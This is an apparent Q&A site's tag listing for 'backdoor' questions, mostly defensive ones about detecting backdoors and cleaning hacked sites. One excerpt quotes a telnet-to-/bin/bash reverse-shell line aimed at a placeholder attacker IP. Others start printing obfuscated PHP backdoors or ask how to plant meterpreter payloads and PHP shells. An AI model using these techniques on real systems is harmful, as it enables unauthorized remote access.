A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

learn more… | top users | synonyms

-1
votes
0answers
31 views

What could eventually be effectively done to mitigate the risks of errors and backdoors in IT-security software? [closed]

Software errors of programmers in composing the originals and later in updating them understandably can't be perfectly prevented. On the other hand there exist backdoors in IT-security software, which ...
-3
votes
0answers
24 views

PC infection suspected [migrated]

I have a feeling that my PC is infected with a RAT (remote administration tool). It all started when I logged on an mmorpg (online game). It's not popular and at this time I had a port open by me ...
4
votes
1answer
93 views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
43
votes
6answers
5k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies ...
1
vote
1answer
78 views

Malware, RAT's and backdoors

Is there any kind of malware or RAT that cannot be gotten rid of by a thorough wipe with DBAN, flashing the BIOS and re-installing OS? More importantly, if you've been ratted and did all these things, ...
2
votes
1answer
135 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
24
votes
2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
2
votes
2answers
24 views

DNS IP address auto reset

I have a unofficial Windows and i noticed that my internet connection gets reset. By taking a closer look at it, i found that the DNS server address is set to an IP in China. Any reason why this ...
-1
votes
1answer
42 views

Zilog Z80 CPU family security

According to this Intel and AMD could have backdoors in their CPU's, but what about Zilog and z80 family? I am mostly interested in the latest eZ80 , but also the original z80 and others. Are there ...
0
votes
2answers
142 views

Encryption software trustworthy?

If you are downloading and using an encryption software, e. g. Veracrypt or Diskcryptor, how do you know if this software is not a fake one? Backdoored or other security holes? Assuming that such ...
0
votes
1answer
158 views

Find php file with certain word in it and disable php

I have multiple VPS with at least thousands of accounts in them. My clients' websites are hacked and sending spam emails. I checked the log and found out two types of scritps type1: <?php ...
0
votes
0answers
136 views

Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
0
votes
4answers
122 views

How to approach ruling out that past developers are backdooring my website?

My client says that one of his old developers found some code that allowed a past developer to access the site in certain ways. She wrote code to allow herself to log in to certain restricted areas ...
4
votes
2answers
132 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
4
votes
3answers
315 views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
-3
votes
1answer
93 views

How to tell if my Windows 7 copy is not modified?

I lost my windows cd I downloaded a copy from the internet. The guy who shared it said it's original without any modifications. However I get weird actions like I can't use mouse clicks or I can't ...
1
vote
2answers
750 views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
3
votes
1answer
59 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
2
votes
1answer
65 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
3
votes
1answer
57 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
11
votes
2answers
3k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
-1
votes
3answers
400 views

PHP Code Found Is It Malicious?

I found the following code on my website. What does it do? Is it malicious? Thank you. <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 ...
2
votes
3answers
2k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
1
vote
1answer
283 views

backdoor php trojan still dangerous on my local machine?

I recently removed and fixed a lot of backdoor trojans in some files in one of my servers, and I copied those files to my local computer. But the issue is that now that I run the virus scanner on my ...
2
votes
2answers
984 views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
6
votes
2answers
143 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
1
vote
1answer
747 views

What kind of backdoor can be made after hacking wi-fi? [closed]

I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch ...
3
votes
0answers
129 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
0
votes
0answers
18 views

I Use Precompiled Open Source Software. Is There a Backdoor? [duplicate]

I'm new to Linux world (3-4 months with Linux). But I did compile some programs from source and had one failed attempt to compile a custom Linux kernel. One thing that I'm wondering about is the ...
1
vote
1answer
241 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
-6
votes
1answer
119 views

IVE BEEN HACKED! [duplicate]

So i downloaded an application that was fishy that came out a couple hours ago on youtube and i was stupid and didnt scan it or anything and i let it run... blam instant security warnings and i ...
3
votes
1answer
64 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
0
votes
2answers
319 views

Running tails on a corporate computer

Is it safe to run TAILS on a corporate computer? I mean a corporate computer that has hardware cryptography and probably some backdoors; and, by safe, I mean that nobody will be able to recover what ...
-2
votes
2answers
108 views

Suspicious files in my Windows

While I am doing a quick scan for virus on Norton 360, I noticed a long stop at some files. Their names are very very suspicious. Although I can't recall all of them, one of them, which I clearly ...
0
votes
1answer
494 views

Backdoor under Akismet wordpress plugin

my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
2
votes
0answers
225 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
votes
1answer
368 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
23
votes
7answers
5k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
20
votes
1answer
13k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { ...
0
votes
1answer
230 views

Are there approaches/mechanism to detect hardware backdoors?

Background: A nice Chinese based manufacturer (AllWinner Technology Co.Ltd) produces very useful SoC used boards that often claim to be open source hardware. Question: If need be is there by way of ...
1
vote
1answer
360 views

Execute a remote PHP shell which is inside a file I dont have permission to access

Hi need some help here. I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ ...
-1
votes
4answers
169 views

How secure is it to use an open-source software [closed]

Is it possible for the developer of an open-source software to hide a backdoor without getting caught? Obviously open-source is superior to close-source when it comes to transparency, also I am aware ...
1
vote
3answers
192 views

In a company is it good to have a back door account?

Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. ...
2
votes
1answer
323 views

hparm -I /dev/sda does not report a Security section - should I be concerned?

I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase. I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a ...
2
votes
1answer
279 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
-2
votes
1answer
466 views

Backdoors and hard-coded usernames and passwords

I have been researching on computer worms that brought me to this topic of backdoors. According to my research, backdoors are malicious pieces of code that are inserted into either computers to get ...
1
vote
0answers
75 views

Local lan drive by download

Basically, I'm testing a local network, on which I'm able to use ARP spoofing. I now want to try and infect one of the Windows boxes on the network with a backdoor. I could inject an iframe into their ...
1
vote
2answers
768 views

Msfpayload: Exe within an exe?

So you can use msfpayload or msfvenom to add a payload to an existing exe, most people online seem to use reverse shell. But I was wondering if you could include a custom exe of your own design as a ...
12
votes
2answers
9k views

Detecting and removing Absolute persistance technology

Absolute persistance technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
1
vote
1answer
2k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: ...